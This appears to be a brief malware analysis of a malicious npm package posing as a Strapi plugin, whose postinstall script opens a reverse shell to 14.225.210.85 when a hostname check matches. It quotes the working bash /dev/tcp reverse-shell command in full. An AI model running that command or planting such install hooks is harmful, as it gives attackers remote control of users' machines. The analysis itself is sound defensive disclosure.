strapi-plugin-ccip-meeb@3.6.8 declares scripts.postinstall = 'node postinstall.js', so postinstall.js runs automatically on npm install. The script imports child_process and checks os.hostname() against a hardcoded value ('ubuntu-fc-uvm'); when the hostname matches, it executes `bash -c "bash -i >& /dev/tcp/14.225.210.85/80 0>&1"`, opening an interactive reverse shell from the installer's host to 14.225.210.85:80. The hostname gate causes the payload to remain dormant on unrelated hosts and fire only in the attacker's expected target environment, a targeting/sandbox-evasion pattern. The package name mimics a legitimate Strapi plugin scope but the shipped code has no plugin functionality consistent with that name; the postinstall reverse shell is the substantive behavior.
